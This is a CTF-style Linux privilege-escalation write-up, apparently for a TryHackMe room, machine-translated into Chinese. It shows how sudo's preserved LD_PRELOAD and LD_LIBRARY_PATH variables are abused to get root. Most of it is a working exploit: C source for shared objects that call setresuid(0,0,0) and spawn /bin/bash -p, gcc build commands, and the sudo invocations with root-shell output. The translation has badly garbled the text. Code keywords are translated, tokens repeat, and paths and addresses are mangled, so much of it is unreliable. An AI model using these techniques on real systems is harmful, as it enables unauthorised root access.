[tryhackme]使用环境变量ld_preload和ld_library_path的特权升级！ Linux Privesc写作第4部分

└─$ ssh user@10.6.6.35无法建立主机'10 .10.6.35（10.10.6.35）的真实性'无法建立。 DSA密钥指纹为SHA256：P2NSSFVYJVK1QE0TSNX5G2H8AAWYRN71JDZ3UEODBMA。您确定要继续连接（是/否/[指纹]），该键不知道其他名称吗？是警告：永久添加'10 .10.6.35'（DSA）中已知主机列表。 user@10.10.6.35's密码：Linux Debian 2.6.32-5-AMD64＃1 SMP TUE 5月13日16:34:35 UTC 2014 x86_64 Debian GNU/Linux系统包含的程序是免费的软件；在/usr/share/doc/*/版权所有的单个文件中描述了每个程序的确切分发术语。在适用法律允许的范围内，Debian GNU/Linux绝对没有保修。上次登录：星期五5月15日06:41:23 2020从192.168.1.1.125用户@debian：〜$ sudo -l匹配此主机上用户的默认条目：env_ereset，env_keep+= ld_preload，env_kepect+= ld_library_library_path_path_path_path_path_path

用户@debian：〜$ sudo -l匹配此主机上用户的默认条目：env_reset，env_keep+= ld_preload，env_keep+= ld_library_path_path user用户用户可以在此主机上运行以下命令：（root）nopasswd：/usr/sbin/sbin/iftop（root） /usr/bin/nano (root) NOPASSWD: /usr/bin/vim (root) NOPASSWD: /usr/bin/man (root) NOPASSWD: /usr/bin/awk (root) NOPASSWD: /usr/bin/less (root) NOPASSWD: /usr/bin/ftp (root) NOPASSWD: /usr/bin/nmap （root）nopasswd：/usr/sbin/apache2（root）nopasswd：/bin/more

用户@debian：〜$ cat/home/user/tools/sudo/preload.c #include<stdio.h> ＃包括<sys/types.h>＃包括<stdlib.h>void _init（）{unsetenv（“ ld_preload”）; setResuid（0,0,0）;系统（“/bin/bash -p”）; }

user@debian：〜$ gcc -fpic -shared -nostartfiles -o/tmp/preload.so/home/user/user/tools/sudo/preload.c.c

user@debian：〜$ sudo ld_preload =/tmp/preload.so cong root@debian：/home/user＃whoami root

user@debian：〜$ ldd/usr/sbin/apache2 linux-vdso.so.so.1 =>（0x00007FFF84EE8000）libpcre.so.so.so.3 => /lib/x86_64-linux-gnu/linux-gnu/libppcre.so.so.so.3（0x0000007fba94c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5crut> .0 /USR/lib/libaprutil-1.so.0（0x00007fba94a38000）libaprutil-1.so.0 =>/usr/lib/lib/libaprutil-1.so.0（0x0000007fba94a38000） （0x00007fba947fe000）libpthread.so.0 => /lib/libpthread.so.0（0x00007fba945e2000）libc.so.so.so.so.so.so.so.so.6 => /lib/libc.so.6（0x00000000007fba94276000）libuib.so.so.so.so.so.so.so.so.so.so.so.so.so.sso.ss = /libu.ss => /lidid.s>> /lid.s>> /lidibui.1 => / （0x00007fba94071000）libt.so.1 => /lib/libt.so.1（0x00007fba93e69000）libcrypt.so.so.1 => /lib/libcrypt.so.1（0x00007fba93c32000） （0x00007fba93a2d000）libexpat.so.1 =>/usr/lib/lib/libexpat.so.1（0x00007fba93805000）/lib64/llib64/ld-linux-x86-64.so.2（0x00007fba95119000）

用户@debian：〜$ cat/home/user/tools/sudo/library_path.c #include<stdio.h> ＃包括<stdlib.h>静态void hijack（）__attribute __（（构造函数））; void hijack（）{unsetenv（“ ld_library_path”）; setResuid（0,0,0）;系统（“/bin/bash -p”）; }

用户@debian：〜$ gcc -o/tmp/libcrypt.so.1 -shared -fpic/home/user/tools/sudo/library_path.c.c.c.c

user@debian：〜$ sudo ld_library_path =/tmp apache2 apache2：/tmp/libcrypt.so.sso.1：无可用的版本信息（/usr/lib/libaprutil-1.so.so.0）